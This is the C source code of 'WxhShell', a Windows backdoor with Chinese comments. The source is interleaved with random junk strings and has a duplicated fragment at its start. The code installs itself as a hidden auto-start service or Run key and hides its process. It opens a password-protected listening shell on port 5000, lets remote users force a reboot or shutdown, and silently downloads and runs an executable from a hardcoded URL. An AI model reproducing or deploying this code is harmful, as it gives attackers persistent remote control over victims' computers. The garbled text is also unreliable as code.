~}~% g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uk<9&{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )|=j`jCC
]-/VHh if (!NtQueryInformationProcess) return 0; ?2Py_gkf wEvVL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P
m e^l%M if(!hProcess) return 0; bB3powy9 7! INkH] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %/ #NK1&M {[?(9u7R CloseHandle(hProcess); 1NA.nw. J]pir4&j hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N U` if(hProcess==NULL) return 0; 6gu!bu`~ CdjI` HMODULE hMod; lchPpm9 char procName[255]; m`^q <sj unsigned long cbNeeded; cB}D^O Vb]=B~ ^` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ={@6{-tl D7Q$R:6| CloseHandle(hProcess); >jc [nk +*/Zu`kzX if(strstr(procName,"services")) return 1; // 以服务启动 z/@slT @O^6&\s> return 0; // 注册表启动 ]Ntmy;Q } Wf>R&o6tr :emiQ // 主模块 Iom'Y@x int StartWxhshell(LPSTR lpCmdLine) 30T)!y { O.M>+~Nw SOCKET wsl; Gm^U;u}=f BOOL val=TRUE; EaY?aAuS: int port=0; kzUIZ/+ZL, struct sockaddr_in door; ^'{Fh"5 N]=q|D if(wscfg.ws_autoins) Install(); 8\A#CQ5b eF-."1 port=atoi(lpCmdLine); qHlQ+:n [MM~H0=s if(port<=0) port=wscfg.ws_port; !Pfr,a 7CURhDdk WSADATA data; 4*cEag if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w;:*P }-2 2XYh if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `%"\@< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #r~# I}U door.sin_family = AF_INET; (2E\p door.sin_addr.s_addr = inet_addr("127.0.0.1"); '/p/8V.O. door.sin_port = htons(port); u.m[u)HQ Zaf:fsj> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gk&)08 closesocket(wsl); 6wjw ^m0 return 1; 1FL~ndJs } LxSpctiNx ZdWm:(nkU if(listen(wsl,2) == INVALID_SOCKET) { bUdLs.: closesocket(wsl); Q1I6$8:7 return 1; ]dmrkZz: } 3J|F?M"N7 Wxhshell(wsl); }?_?V&K| WSACleanup(); 8COGsWK V1`o%;j return 0; RmeD$>7 K+K#+RBK } :g=qz~2Xk &>W$6>@ // 以NT服务方式启动 MKD1V8i VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;)z:fToh { Y0dEH^I DWORD status = 0; VSI9U3t3w DWORD specificError = 0xfffffff; BLf>_bUk h#
o6K# serviceStatus.dwServiceType = SERVICE_WIN32; ;~ $'2f~U serviceStatus.dwCurrentState = SERVICE_START_PENDING; tOd&!HYL serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m6\E$;` serviceStatus.dwWin32ExitCode = 0; +RM SA^ serviceStatus.dwServiceSpecificExitCode = 0; .K2qXw"S# serviceStatus.dwCheckPoint = 0; n&qg;TT serviceStatus.dwWaitHint = 0; ;LPfXpR G3vxjD<DMW hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Gi4A if (hServiceStatusHandle==0) return; oC: {aK6\ x$.^"l-vX status = GetLastError(); 5o'FS{6U if (status!=NO_ERROR) U!?_W=? { dI@(<R serviceStatus.dwCurrentState = SERVICE_STOPPED; {14fA)`% serviceStatus.dwCheckPoint = 0; qJa H, serviceStatus.dwWaitHint = 0; {
Vf XsI serviceStatus.dwWin32ExitCode = status; r|fL&dtr serviceStatus.dwServiceSpecificExitCode = specificError; Zd}9O jz5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); RSyUaA return; y@: h4u"3 } 0oZ=
yh .* ?wF serviceStatus.dwCurrentState = SERVICE_RUNNING; I7vz+>Jr serviceStatus.dwCheckPoint = 0; ):6 8%, serviceStatus.dwWaitHint = 0; M2>Vj/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ml{Z
} ,,&*:<Q 0$)>D== // 处理NT服务事件,比如:启动、停止 6azGhxh VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Aazy'/ { 7cT~oV !G_ switch(fdwControl) p{Yv3dNl { F^t DL: case SERVICE_CONTROL_STOP: wc NOLUl serviceStatus.dwWin32ExitCode = 0; "fCu=@i serviceStatus.dwCurrentState = SERVICE_STOPPED; p;59? serviceStatus.dwCheckPoint = 0; gx8ouOh serviceStatus.dwWaitHint = 0; 0y" $MC v { rJT^H5!o" SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bs_s&a> } ;4^Rx return; kHghPn?8] case SERVICE_CONTROL_PAUSE: 2G67NC?+ serviceStatus.dwCurrentState = SERVICE_PAUSED; RXpw! break; rb2S7k0{ case SERVICE_CONTROL_CONTINUE: o WrKM serviceStatus.dwCurrentState = SERVICE_RUNNING; 'EEJU/"u break; D9CaFu case SERVICE_CONTROL_INTERROGATE: J6s`'gFns break; qo90t{|c }; 'KS,'% SetServiceStatus(hServiceStatusHandle, &serviceStatus); .9 on@S } z0p*Z& hk(ZM#Bh // 标准应用程序主函数 6Z6'}BDP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1EO7H{E= { pMx*F@&nU I {S;L // 获取操作系统版本 0[NZ>7wqMZ OsIsNt=GetOsVer(); HZzD VCU GetModuleFileName(NULL,ExeFile,MAX_PATH); G_3O]BMKd) j^j1 // 从命令行安装 \:# L) if(strpbrk(lpCmdLine,"iI")) Install(); G~^r)fm_ fo*2:?K& // 下载执行文件 H1pO!>M if(wscfg.ws_downexe) { /yDz/>ID\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c z#rb*b WinExec(wscfg.ws_filenam,SW_HIDE); 5,Jp[bw{H{ } c)TPM/>(p *v
jmy/3 if(!OsIsNt) { h:b)Wr // 如果时win9x,隐藏进程并且设置为注册表启动 nX6u(U HideProc(); DkY4MH? StartWxhshell(lpCmdLine); |"X*@s\' } xaq-.IQAM$ else 8rnwXPBN if(StartFromService()) N_kMK // 以服务方式启动 |C;=-| StartServiceCtrlDispatcher(DispatchTable); Z58X5" else ?>D+ge // 普通方式启动 (Du@ S StartWxhshell(lpCmdLine); Zw
26 IXMop7~ return 0; ~rE|%o } LvH4{B knu,"< =V,mtT DbBcQ% =========================================== a?I=
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#include <stdio.h> {nBhdM :i #include <string.h> 0rQMLx #include <windows.h> E<{R.r #include <winsock2.h> .;y.]Z/; #include <winsvc.h> Z,
zWuE3 #include <urlmon.h> #vz7y(v Q04al= #pragma comment (lib, "Ws2_32.lib") e8>}) #pragma comment (lib, "urlmon.lib") qTRsZz@ lLX4Gq1 #define MAX_USER 100 // 最大客户端连接数 =57>!) #define BUF_SOCK 200 // sock buffer oA7tEu #define KEY_BUFF 255 // 输入 buffer n$MO4s8) (Z+.45{- #define REBOOT 0 // 重启 XO>KZV7) #define SHUTDOWN 1 // 关机 6y-@iJ*ld; 4M=]wR; #define DEF_PORT 5000 // 监听端口 rT=rrvV3g (R[[Z,>w. #define REG_LEN 16 // 注册表键长度 m4[ ;(1 #define SVC_LEN 80 // NT服务名长度 |{z:IQLv FZ{h?#2? // 从dll定义API : Xda1S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CmP9Q2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gDQ^)1k typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G)AqbY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %^)fmu L\6M^r
> // wxhshell配置信息 pxA? struct WSCFG { A9KET$i@v int ws_port; // 监听端口 .Yamc#A- char ws_passstr[REG_LEN]; // 口令 >2y':fO int ws_autoins; // 安装标记, 1=yes 0=no %8RrRW char ws_regname[REG_LEN]; // 注册表键名 |%BOZT char ws_svcname[REG_LEN]; // 服务名 8 `v-<J char ws_svcdisp[SVC_LEN]; // 服务显示名 ]{;gw<T char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^rB8? kt char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aj-Km`5r} int ws_downexe; // 下载执行标记, 1=yes 0=no k%]3vRo< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YU'k#\gi* char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aG-vtld $f$SNx)), }; |QF7
uV n QF(vTDN // default Wxhshell configuration %e8@*~h@ struct WSCFG wscfg={DEF_PORT, BwN0!lsF3 "xuhuanlingzhe", pE3?"YO 1, vSGH[nyCY "Wxhshell", ^)470K`%) "Wxhshell", :p1u(hflS "WxhShell Service", 7zl5yKN "Wrsky Windows CmdShell Service", PF0_8,@U "Please Input Your Password: ", ^Y?k0z 1, vRYQ{: "http://www.wrsky.com/wxhshell.exe", ` _6C{<O "Wxhshell.exe" H-!,yte }; 8v6(qBK 6lZ3tdyNo // 消息定义模块 v1#otrf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (fhb0i- char *msg_ws_prompt="\n\r? for help\n\r#>"; 4V"E8rUL( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zF@/K` char *msg_ws_ext="\n\rExit."; h7*J9[$ char *msg_ws_end="\n\rQuit."; A\*>TN>s char *msg_ws_boot="\n\rReboot..."; Ky`qskvu char *msg_ws_poff="\n\rShutdown..."; =?5]()'*n char *msg_ws_down="\n\rSave to "; b.OsiT;_j h<h%*av|
char *msg_ws_err="\n\rErr!"; (Nq=H)cm8 char *msg_ws_ok="\n\rOK!"; p
.%]Q*8 #]-SJWf3 char ExeFile[MAX_PATH]; lPe&h]@ > int nUser = 0; JB\UKZXw HANDLE handles[MAX_USER]; Q*GN`07@?d int OsIsNt; mwO6g~@` ^23~ZHu SERVICE_STATUS serviceStatus; *j|~$e}C SERVICE_STATUS_HANDLE hServiceStatusHandle; 3h]g}&k mupT<_Y // 函数声明 ~EW(Gs!=C int Install(void); t"sBPLU\ int Uninstall(void); a6ekG YW int DownloadFile(char *sURL, SOCKET wsh); }czrj%6 int Boot(int flag); l&[O void HideProc(void);
X hR4ru` int GetOsVer(void); q#~ (/ int Wxhshell(SOCKET wsl); &L3M] void TalkWithClient(void *cs); ]|#+zx|/D int CmdShell(SOCKET sock); AI2~Jp int StartFromService(void); [=C6U_vU int StartWxhshell(LPSTR lpCmdLine); v<k?Vu ; cNv\t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y-Fo=y VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ G]J ,+ -$\y_?} // 数据结构和表定义 J@`1TU SERVICE_TABLE_ENTRY DispatchTable[] = mb1FWy=3 { aI'&O^w+ {wscfg.ws_svcname, NTServiceMain}, 3s*mbk[J {NULL, NULL} A]*}HZ, }; _9ao?: +tB=OwU%0 // 自我安装 ]IaMp788 int Install(void) ~"gA,e-) { rV.}PtcFY char svExeFile[MAX_PATH]; ` #0:gEo HKEY key; @b\$ yB@z strcpy(svExeFile,ExeFile); 1> ?M>vK n>z9K') // 如果是win9x系统,修改注册表设为自启动 5; C| if(!OsIsNt) { VCYwzB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,};&tR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #-rH1h3*q RegCloseKey(key); 0^ _uV9r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XoK:N$\}t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $L`d&$Vh RegCloseKey(key); 'JtBZFq return 0; >\R+9p:o } /|w6:;$;mn } _IMW{ } e
v}S+!|U else { + SzU 3qgS&js 7 // 如果是NT以上系统,安装为系统服务 {'flJ5] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3=#<X-); if (schSCManager!=0) rCEyQ)R_} { !"AvY y9 SC_HANDLE schService = CreateService h#I>M`| ( TJd)K$O> schSCManager, .D~;u-%|F wscfg.ws_svcname, fy1|$d{' wscfg.ws_svcdisp, Mc
lkEfn SERVICE_ALL_ACCESS, W_293["lS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R>|{N9 SERVICE_AUTO_START, Ng&%o SERVICE_ERROR_NORMAL, -
nm"of\o svExeFile, F~ty!(c NULL, 4(n-_BS NULL, &$BjV{,/zc NULL, 1y&\5kB NULL, @3i\%R)n; NULL bG"~"ipn% ); -]Bq|qTH[( if (schService!=0) > tS'Q`R { d7^}tM CloseServiceHandle(schService); E)&I@m CloseServiceHandle(schSCManager); iO{hA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6 3iUi9P strcat(svExeFile,wscfg.ws_svcname); ,u=`uD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p>,|50| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o)|flI'vT RegCloseKey(key); ')Zvp7>$ return 0; ";lVa'HMZ } <\y@*fg+ } ,]C;sN%~} CloseServiceHandle(schSCManager); nbp=PzZy } "V7K SO } @&!ZZ
1V8 ;<Sd~M4f return 1; )6MfRw } ?PxP% $hS hF?1y `20 // 自我卸载 1#g2A0U, int Uninstall(void) J( TkXNm { *-WpZGh HKEY key; OdbEq?3S/? g9pZ\$J& if(!OsIsNt) { h
f)?1z4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mM~qBrwL RegDeleteValue(key,wscfg.ws_regname); $p8xEcQdU# RegCloseKey(key); T~?Ff|qFC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X #dmo/L8 RegDeleteValue(key,wscfg.ws_regname); :k]1Lm|| RegCloseKey(key); v~+(GqR=+ return 0; g'f@H-KCD } tIi&;tw] } BR_1MG'{)$ } Z#jZRNU%ox else { 68|E9^`l iU918!!N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f%JIp#B if (schSCManager!=0) w(Ovr`o?9t { )}R0Y=e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KkyVSoD\ if (schService!=0) }Bh8=F3O
Q { YaqR[F if(DeleteService(schService)!=0) { k}CVQ@nd CloseServiceHandle(schService); @IKYh{j4 CloseServiceHandle(schSCManager); "^[ 'y7i return 0; bP#:Oi0v` } pX<`+t[ CloseServiceHandle(schService); atH*5X6d } 7"D",1h CloseServiceHandle(schSCManager); ]%SH> } (Rh,, } P5V}#;v y7 cl_ rK return 1; /<k/7TF` } (/YHk`v2 0o4XUW // 从指定url下载文件 ]m q|w int DownloadFile(char *sURL, SOCKET wsh) F<1fX 7c { -IudgO] HRESULT hr; *R,5h2; char seps[]= "/"; `hm-.@f,9 char *token; rKc9b<Ir char *file; \K{
z char myURL[MAX_PATH]; iMh#TUlQEQ char myFILE[MAX_PATH]; tjS@meT GA)`-*.R strcpy(myURL,sURL); C=xa5Y token=strtok(myURL,seps); P; no? while(token!=NULL) ,Vax&n+J { 2.y-48Nz file=token; dQX6(Jj token=strtok(NULL,seps); QL/(72K } jd"@t*ZV 4@gG<QJW GetCurrentDirectory(MAX_PATH,myFILE); U>SShpmZA strcat(myFILE, "\\"); T Z@]:e:"b strcat(myFILE, file); Pm?KI<TH~ send(wsh,myFILE,strlen(myFILE),0); (E3b\lST send(wsh,"...",3,0); `[yKFa
I hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #z%fx
if(hr==S_OK) est9M*Fn return 0; Kw^ 7>\ else
8W7J3{d return 1; I][*j Lb-OsKU } Ee#q9Cx^J ?UR0:f:}oc // 系统电源模块 }v{LRRi int Boot(int flag) $wa{~' { Vp\,CuQ HANDLE hToken; S13nL^=i TOKEN_PRIVILEGES tkp; G!##X: 6' 6|=f$a if(OsIsNt) { MjRHA^b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $HzBD.CF|x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =XQ%t
@z0 tkp.PrivilegeCount = 1; RP|`HkP-2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?$pCsBDo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yPp9\[+^j if(flag==REBOOT) { cVpp-Z|s8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IP pN@ return 0; y.k~Y0 } !BF;
>f` else { ^7*11%Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Tx?%nQ return 0; TX/Xt7#R: } ,p a {qne } 'Is kWgc else { y^*~B(T{ if(flag==REBOOT) { %;'s4ly if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .{^5X)
return 0; 9*wK@yEl } 9FR5Jw>t else { t@;p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wlvgg return 0; @HC Vmg: } ajT*/L!0_ } .P]+? %& @mBQ?;qlK return 1; >U>(`r* } UkC!1Jy -2[a2^a' // win9x进程隐藏模块 dT8S~-d% void HideProc(void) X?',n
1 { }.(B}/$u Fm 2AEs\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +sA2WK] if ( hKernel != NULL ) |df Pki{ { xo&_bMO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Yl-w-oe ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b%`1cV FreeLibrary(hKernel); ;'K5J9k } w&#]-|$ *fxG?}YT return; @. l@\4m } {P./==^0 aXYY:; // 获取操作系统版本 6gE7e|+ int GetOsVer(void) xC TML!H { T^KKy0ZGM OSVERSIONINFO winfo; 59A}}.@?m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )akoa,#%6c GetVersionEx(&winfo); LL!Dx%JZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8<.Oq4ku return 1; ki!0^t:9 else t*u:hex return 0; +6\Zj) } ~!L}yw 4VSU8tK|N] // 客户端句柄模块 Sm|6 %3 int Wxhshell(SOCKET wsl) VA5xp] { CTa57R SOCKET wsh; oc`H}Wvn struct sockaddr_in client; t~XN}gMxw DWORD myID; yf+)6D -9n oPM96
( while(nUser<MAX_USER) o*H<KaX { bd-L`={j int nSize=sizeof(client); 7NGxa6wi wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `;C V=,M if(wsh==INVALID_SOCKET) return 1; 5;EvNu ,O(hMI85] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =,M5KDk` if(handles[nUser]==0) *]X'( /b_ closesocket(wsh); lo+A%\1 else :F?C)F nUser++; 4B.*g-L } vs4>T^8e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '=pU^Oz<} y)@wjH{6 return 0; K0>zxqY } yN-9[P8C 0(HU}I // 关闭 socket 1+s;FJ2} void CloseIt(SOCKET wsh) sgFEK[w.y { k,*XG$2h closesocket(wsh); *2l7f`K nUser--; 0 H:X3y+ ExitThread(0); WsB ?C&>x } 7[)E>XRE >[#f\bG> // 客户端请求句柄 [(lW^- void TalkWithClient(void *cs) M= (u]%\ { !Uo4,g6r+ "y}5;9#, SOCKET wsh=(SOCKET)cs; `c$V$/IT char pwd[SVC_LEN]; 9.#<b|g char cmd[KEY_BUFF]; mfr|:i char chr[1]; z{QqY.Gu{G int i,j; ~"!fP3"e B@ EC5Ap* while (nUser < MAX_USER) { Z`i(qCAd( %N._w!N<5n if(wscfg.ws_passstr) { 6gDN`e,@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Sh ;(.u^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z$sT !QL~ //ZeroMemory(pwd,KEY_BUFF); 9 68Ez
i=0; Pq$n5fZC! while(i<SVC_LEN) { 1% ` Rs
?r4>" [ // 设置超时 wCBplaojJ fd_set FdRead; :ws<-Qy struct timeval TimeOut; At;LO9T3z FD_ZERO(&FdRead); }SZd FD_SET(wsh,&FdRead); 3v-~K)hl? TimeOut.tv_sec=8; Vurqt_nb TimeOut.tv_usec=0; %cn<ych
G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dZuOrTplA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UEL_uij 307I$*%W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KI.hy2?e pwd=chr[0]; vY3h3o if(chr[0]==0xd || chr[0]==0xa) { n@3>6_^rwT pwd=0; [-w%/D%@ break; y~V(aih}D } *-X[u: i++; i|kRK7[6B } ?Bmb' 3 !4!~Lk= // 如果是非法用户,关闭 socket bN.Pex if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -{vD:Il=6 } kJR`:J3DJ 2~V*5~fb send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lB4WKn=?Kl send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6S#Cl>v 7yQ4*UB while(1) { U<XG{<2 "dlVk~ ZeroMemory(cmd,KEY_BUFF); /-s6<e! |s_GlJV. // 自动支持客户端 telnet标准 E qiY\/S j=0; E{(;@PzE while(j<KEY_BUFF) { xIn:ZKJ' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !,PWb3S cmd[j]=chr[0]; k5)om;.w if(chr[0]==0xa || chr[0]==0xd) { `]aeI'[}R cmd[j]=0; rm_Nn8p, break; Hn:Crl y# } 7+*WH|Z@ j++; D%Z| } W+*
V)tf ?JUeuNs9 // 下载文件 mE[y SrV if(strstr(cmd,"http://")) { I-)4YQI send(wsh,msg_ws_down,strlen(msg_ws_down),0); An@t?#4gxi if(DownloadFile(cmd,wsh)) ;*J send(wsh,msg_ws_err,strlen(msg_ws_err),0); xSu > else ,r}6iFu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,,r>,Xq6 } -\MG}5?! else { q(w(Sd)#L X>^fEQq" switch(cmd[0]) { "N#Y gSr 8Fub<UhJ // 帮助 Dv6}bx( case '?': { Y:`&=wjP~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wC*X4 ' break; i/.6>4tE: } UF|p';oom // 安装 m {}Lm)M case 'i': { 9BB=YnKE if(Install()) HOi`$vX}N send(wsh,msg_ws_err,strlen(msg_ws_err),0); - YBY[%jF> else E-FUlOG& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A@'OJRc break; ry]l.@o; } W*G<X.Hf // 卸载 QGz|*] case 'r': { g)B]FH1 if(Uninstall()) OrW send(wsh,msg_ws_err,strlen(msg_ws_err),0); u?EN else F"kAkX>3} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rM SZ" break; 3g
B7g'U } ^rz_f{c]- // 显示 wxhshell 所在路径 C#pjmT_ case 'p': { /_.|E] char svExeFile[MAX_PATH]; ->jDb/a{C strcpy(svExeFile,"\n\r"); )5H?Vh>36 strcat(svExeFile,ExeFile); s#MPX3itK send(wsh,svExeFile,strlen(svExeFile),0); %2h>-.tY break; 8XaQAy%d] } 8CE = 4 // 重启 C,zohlpC case 'b': { )B*t
:tN send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kf9X$d6 if(Boot(REBOOT)) m[2gdJK send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bp{Ri_&A else { bK7J} 8hH closesocket(wsh); &3&HY:yF ExitThread(0); g{LP7D;6 } H*6W q break; V~#tuv } d=^z`nt !R // 关机 ~Gw*r\\+ case 'd': { 3XKf!P send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k{0o9, if(Boot(SHUTDOWN)) ipz5 H* send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~Z"9(v'C else { ,//S`j$S closesocket(wsh); 8EY:tzw ExitThread(0); ^sZ,2,^ } 1*7@BP5 break; ('~LMu_ } @nf`Gw ; // 获取shell |uDdHX8T case 's': { `u\n0=go CmdShell(wsh); M%#e1"n closesocket(wsh); 2qp#N% ExitThread(0); P2Y^d#jO break; !9x} } R-Sym8c // 退出 TZ`SZDc7_ case 'x': { 6:2vP
NF send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rlD8D|ZG CloseIt(wsh); V8(- break; pot~<d`:K" } ce(#2o&` // 离开 N g,j# case 'q': { V.Mry`9- send(wsh,msg_ws_end,strlen(msg_ws_end),0); TC"<g closesocket(wsh); Ho%CDz
z WSACleanup(); +[P{&\d4} exit(1); Zc2PepIg break; 0YHFvy) } Dh*n!7lD` } ^}r1;W?n } T0
{L q: r*Xuj= // 提示信息 28nFRr if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SAz } =">NQ)98u } j!ch5A nDW9NQ return; W>LR\]Ti@ } D,6:EV"sa snJ129}A // shell模块句柄 7o4\oRGV int CmdShell(SOCKET sock) '<M{)? { uq{beC STARTUPINFO si; ?4B`9<j8% ZeroMemory(&si,sizeof(si)); cNH7C"@GVu si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _G0x3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 54/=G(F PROCESS_INFORMATION ProcessInfo; (w{j6).3Dj char cmdline[]="cmd"; %3rP`A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -HuA
\0J return 0; x"~JR\yzKJ } wS*E(IAl Q.[0ct // 自身启动模式 A=4OWV? int StartFromService(void) j39wA~K { *`U~?q} typedef struct 9VT;ep { xkn;,`t^lJ DWORD ExitStatus; v2?ZQeHr_( DWORD PebBaseAddress; h$*!8=M DWORD AffinityMask; S[N5 ikg DWORD BasePriority; T;uX4,|( ULONG UniqueProcessId; 6nQq ULONG InheritedFromUniqueProcessId; +q oRP2 } PROCESS_BASIC_INFORMATION; b]y2+A.n _g.{MTQ PROCNTQSIP NtQueryInformationProcess; f5r0\7y0 @.C2LIb static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; % `3jL7| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xfQ1T)F3g [vgtc.V HANDLE hProcess; 7 3m1 PROCESS_BASIC_INFORMATION pbi; $^P0F9~0 ZW}_DT0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l,8##7 if(NULL == hInst ) return 0; ]-q;4. #F#%`Rv1 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nK,w]{<wG! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hQi2U NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RZ7@cQY
>/|*DI-HJ if (!NtQueryInformationProcess) return 0; Uv.)?YeGh nlYNN/@" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %LV9=!w if(!hProcess) return 0; ..qCPlK; YMgNzu if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G?ZXWu. weQ_*<5% CloseHandle(hProcess); 8RX&k uS-|wYE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2?5>o!C if(hProcess==NULL) return 0; q@qsp&0/ /ouPg=+Nl HMODULE hMod; e!Hh s/&!T char procName[255]; P%6~&woF unsigned long cbNeeded; :
